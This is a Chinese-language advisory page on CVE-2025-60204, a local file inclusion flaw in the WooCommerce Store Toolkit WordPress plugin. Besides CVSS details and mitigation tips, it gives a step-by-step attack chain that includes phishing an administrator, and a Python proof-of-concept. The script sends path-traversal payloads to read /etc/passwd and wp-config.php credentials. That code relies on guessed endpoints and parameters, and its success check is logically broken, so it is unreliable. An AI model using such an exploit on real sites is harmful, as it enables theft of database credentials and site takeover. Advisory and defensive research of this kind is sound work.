IPBUF安全漏洞报告
English
CVE-2025-60204 CVSS 7.5 高危

CVE-2025-60204 WooCommerce Store Toolkit本地文件包含漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-60204
漏洞类型
本地文件包含(LFI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WooCommerce Store Toolkit

相关标签

本地文件包含LFIWordPress插件漏洞WooCommerce Store ToolkitPHPCVE-2025-60204高危漏洞路径遍历

漏洞概述

CVE-2025-60204是WordPress插件WooCommerce Store Toolkit中的一个高危本地文件包含漏洞。该漏洞由Patchstack安全团队发现,存在于PHP程序的include/require语句中,由于对文件名缺乏适当的控制,导致攻击者可以包含服务器本地文件。漏洞影响版本从n/a至2.4.3(含),CVSS评分7.5,属于高危级别。攻击者可通过构造恶意请求利用该漏洞读取服务器敏感文件,如配置文件、凭据文件等,可能导致敏感信息泄露和进一步的系统入侵。鉴于该漏洞需要用户交互且认证要求为无,攻击复杂度较高,但仍需尽快修复。

技术细节

该漏洞属于PHP远程文件包含(RFI)或本地文件包含(LFI)类别。在WooCommerce Store Toolkit插件中,PHP文件通过include或require语句动态加载外部文件时,未对用户可控的输入进行充分验证和过滤。攻击者可以通过URL参数或POST请求中的特定参数,注入恶意路径遍历序列(如../)或绝对路径,实现对服务器本地任意文件的读取。典型的利用方式包括:1)使用路径遍历读取/etc/passwd等系统文件;2)读取WordPress配置文件wp-config.php获取数据库凭据和API密钥;3)包含日志文件或会话文件实现进一步攻击。由于PHP的include语句会执行被包含文件的代码,这可能导致远程代码执行(RCE)风险。漏洞的利用需要攻击者诱使管理员点击恶意链接或访问特定页面,存在用户交互要求。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描使用WooCommerce Store Toolkit插件<=2.4.3版本的WordPress站点
STEP 2
步骤2
识别入口点:定位插件中存在文件包含功能的PHP文件,如admin-ajax.php或直接访问插件控制器
STEP 3
步骤3
构造恶意请求:利用路径遍历序列(../)或绝对路径构造LFI payload,指定要读取的敏感文件
STEP 4
步骤4
诱导用户交互:通过钓鱼邮件或社工手段诱使管理员点击包含恶意参数的链接
STEP 5
步骤5
文件读取:服务器执行include语句,攻击者获取wp-config.php、/etc/passwd等敏感文件内容
STEP 6
步骤6
权限提升:利用获取的数据库凭据或其他敏感信息进行进一步攻击,可能导致完全控制网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60204 PoC - WooCommerce Store Toolkit LFI # Target: WordPress site with WooCommerce Store Toolkit plugin <= 2.4.3 import requests import sys from urllib.parse import urlencode def exploit_lfi(target_url, target_file='/etc/passwd'): """ Exploit Local File Inclusion vulnerability in WooCommerce Store Toolkit """ # Common vulnerable endpoints in WordPress plugins endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php', '/wp-content/plugins/woocommerce-store-toolkit/includes/controller.php' ] # Payload to read local files # The actual parameter name varies based on plugin version params = { 'action': 'woocommerce_store_toolkit_view', 'file': target_file, 'view': '../../../../../../' + target_file } print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {target_file}") for endpoint in endpoints: try: full_url = target_url.rstrip('/') + endpoint # Try GET request response = requests.get(full_url, params=params, timeout=10) if response.status_code == 200 and 'root:' in response.text or '[' in response.text: print(f"[+] Success! Read file via {endpoint}") print(response.text[:500]) return True # Try POST request response = requests.post(full_url, data=params, timeout=10) if response.status_code == 200: print(f"[*] Response from POST to {endpoint}") print(response.text[:500]) except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return False def read_wp_config(target_url): """ Read WordPress configuration file """ print("\n[*] Attempting to read wp-config.php...") return exploit_lfi(target_url, '../../../../wp-config.php') if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-60204.py <target_url> [target_file]") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '/etc/passwd' exploit_lfi(target, file_to_read) read_wp_config(target)

影响范围

WooCommerce Store Toolkit <= 2.4.3

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制用户对插件功能的访问权限,仅允许管理员使用;2)在Web服务器配置中添加规则,拦截包含路径遍历字符(../)的请求;3)禁用PHP的allow_url_fopen和allow_url_include配置;4)定期监控服务器日志,排查异常的文件访问行为;5)考虑暂时禁用该插件,直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表